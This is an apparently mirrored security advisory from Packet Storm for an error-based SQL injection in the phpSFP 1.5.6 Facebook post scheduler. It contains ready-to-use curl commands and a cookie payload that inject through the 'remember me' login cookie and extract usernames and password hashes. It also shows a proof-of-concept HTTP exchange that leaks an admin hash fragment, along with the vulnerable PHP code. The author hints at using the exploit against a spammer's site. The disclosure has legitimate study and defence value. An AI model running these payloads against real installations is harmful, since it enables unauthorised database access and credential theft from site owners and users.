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phpSFP Schedule Facebook Posts 1.5.6 SQL Injection
🗓️ 03 Apr 2015 00:00:00Reported by Pichaya MorimotoType 
packetstorm🔗 packetstormsecurity.com👁 40 Views
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# phpSFP - Schedule Facebook Posts 1.5.6 SQL Injection (0-day)
# Website : http://codecanyon.net/item/phpsfp-schedule-facebook-posts/5177393
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : April 2, 2015
#
# Special Thanks to 2600 Thailand group:
# xelenonz, pe3z, anidear, windows98se, icheernoom, penguinarmy
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
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[+] Description
============================================================
phpSFP – is a Platform where you can easily manage your scheduling for
all your (Facebook) pages & groups in one place.
It helps to send messages, ads, events, news and so on. phpSFP is
pretty popular more than its sale record thanks to nulled group
(underground WebApp license crackers).
[+] Background <3
============================================================
I managed to track down a group of Vietnam-based Facebook spammer
which posted ads on many FB groups I'm joined.
And ended up with a website that is modified version (all phpSFP
credits are removed) of phpSFP 1.4.1.
so I did some matching and found the original application is phpSFP.
Guess what happens when spammer mess up with offsec guy ;)
[+] Exploit
============================================================
There are many possible ways to do SQLi, I will go with error-based
which enabled by default on phpSFP xD
$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,user())) or '1|||1"
in case you don't know, for further queries you have to change
'user()' to something else, e.g.
$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2"
don't forgot to do length()/substr() stuffs due to limitation of 32
characters in error message
[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7
GET /index.php/login HTTP/1.1
Host: 192.168.33.103
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2
HTTP/1.1 500 Internal Server Error
Server: Apache/2.4.7 (Ubuntu)
Date: Thu, 02 Apr 2015 13:15:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: ci_session=<deducted>; expires=Sat, 01-Apr-2017 13:15:08
GMT; Max-Age=63072000; path=/
Content-Length: 838
<html>
<head>
<title>Database Error</title>
<style type="text/css">
....
<h1>A Database Error Occurred</h1>
<p>Error Number: 1105</p><p>XPATH syntax error:
'admin:f0250d9b38c974122119abf826'</p><p>
....
[+] Vulnerability Analysis
============================================================
I have analyzed on 1.5.6 (lastest version) and 1.4.1 (a popular
edition released by nulled group)
The bug itself is quite interesting.. the author did well in login
function but failed
to parameterized/escape SQL query in 'remember me' function in
authentication phrase.
; phpSFP 1.5.6
File: application/models/auth.php
function cookie()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");
; phpSFP 1.4.1, same thing but in different file
File: application/controllers/login.php
public function index()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");
`
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03 Apr 2015 00:00Current
0.1Low risk
Vulners AI Score0.1